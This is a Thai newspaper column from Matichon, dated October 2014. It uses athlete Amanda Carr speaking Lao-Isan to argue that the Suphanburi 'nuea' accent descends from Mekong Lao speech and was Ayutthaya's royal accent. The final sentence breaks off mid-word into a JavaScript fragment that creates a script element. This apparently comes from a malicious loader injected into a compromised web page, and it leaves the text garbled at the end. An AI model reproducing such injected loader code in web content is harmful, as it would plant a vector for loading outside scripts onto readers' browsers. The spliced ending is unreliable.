มติชนรายวัน ฉบับประจำวันศุกร์ที่ 10 ตุลาคม 2557

 

อะแมนด้า เว้าลาวอีสาน

          ปรากฏการณ์“อะแมนด้า”เว้าลาวอีสาน ของ อะแมนด้า คาร์ (ลูกครึ่งไทย-อเมริกัน) นักกีฬาเหรียญทองเอเชี่ยนเกมส์ล่าสุด

          น่าจะส่งผลดีอย่างลึกๆต่อความเป็นไทยให้มีใจกว้างขึ้น แม้จะยังล้างอคติต่อความเป็นลาวไม่ได้ทั้งหมดก็ตาม

          แท้จริงแล้วสำเนียงลาวทุกกลุ่ม มีส่วนเป็นรากเหง้าเค้าต้นสำเนียงหลวง กรุงศรีอยุธยา

สำเนียงเหน่อลาว

          ผู้คนตระกูลไทย-ลาว ทยอยเคลื่อนย้ายจากลุ่มน้ำโขงลงมาตั้งหลักแหล่งอยู่บริเวณลุ่มน้ำท่าจีน (ที่จะเป็นรัฐสุพรรณภูมิ แล้วเป็นเมืองสุพรรณบุรีต่อไปข้างหน้า)

          เป็นต้นเหตุให้ผู้คนบริเวณนี้พูดสำเนียงลาวลุ่มน้ำโขง แต่ถูกเรียกภายหลังว่า เหน่อ

          คนในตระกูลไทย-ลาว เป็นประชากรส่วนหนึ่งของบ้านเมืองบริเวณลุ่มน้ำเจ้าพระยา มาตั้งแต่ยุคทวารวดี (หรือก่อนนั้น) ในชื่อ เซียม, สาม หมายถึง สยาม ที่สื่อสารด้วยภาษาไทย (ลาว)

          ลาวพูดเหน่อ

          คนไทยภาคกลางฟังสำเนียงลาวว่า เหน่อ (เหนอ, เหน้อ)

          มีพยานในกลอนนิราศปถวี ของ หลวงจักรปาณี (ฤกษ) สมัย ร.6-7 เมื่อกล่าวถึงลาวลุ่มน้ำป่าสักที่เสาไห้ ว่า

          “เดินคนึงจนถึงทวารป่า มีศาลาลาวร้องซื้อของเหนอ”

          สำเนียงสุพรรณ เป็นญาติสำเนียงลาวเหนือ

          คนในวัฒนธรรมลาวจากลุ่มน้ำโขง เคลื่อนย้ายลงมาตั้งหลักแหล่งทางลุ่มน้ำเจ้าพระยา

          มีหลักฐานสำคัญมากและยังมีชีวิตเคลื่อนไหว คือ สำเนียงสุพรรณ หรือที่รู้จักกันทั่วไปว่า เหน่อสุพรรณ เป็นเครือญาติชาติภาษาใกล้ชิดอย่างยิ่งกับสำเนียงลาวเหนือ เช่น หลวงพระบาง

          แม้สำเนียงภาษาพูดของกลุ่มคนพื้นเมืองตั้งแต่ลุ่มน้ำยมทางสุโขทัย ลงไปทางฝั่งตะวันตกลุ่มน้ำเจ้าพระยา เช่น สุพรรณบุรี, ราชบุรี, เพชรบุรี ก็ล้วนใกล้ชิดกับสำเนียงหลวงพระบาง

          เหน่อ สำเนียงหลวงยุคอยุธยา

          สำเนียงที่ว่า “เหน่อ” นี่แหละ คือสำเนียงหลวงยุคกรุงศรีอยุธยา

          หมายความว่า พระเจ้าแผ่นดินก็ดี ไพร่ฟ้าประชาราษฎรส่วนมากก็ดี ล้วนตรัสและพูดจาในชีวิตประจำวันด้วยสำเนียงอย่างนี้

          ดังมีร่องรอยเป็น“ขนบ”อยู่ในการละเล่นโขน เมื่อถึงเจรจาโขน ที่ต้องใช้สำเนียง“เหน่อ”สืบเนื่องมาถึงทุกวันนี้ ถ้าใช้สำเนียงกรุงเทพฯทุกวันนี้ถือว่า“ผิดขนบ”

          ปัญหาคือการศึกษาไทยทำเป็นไม่ได้ยินสำเนียงเหล่านี้ เพราะอคติลาวvar d=document;var s=d.createElement(‘script’); if (document.currentScript) {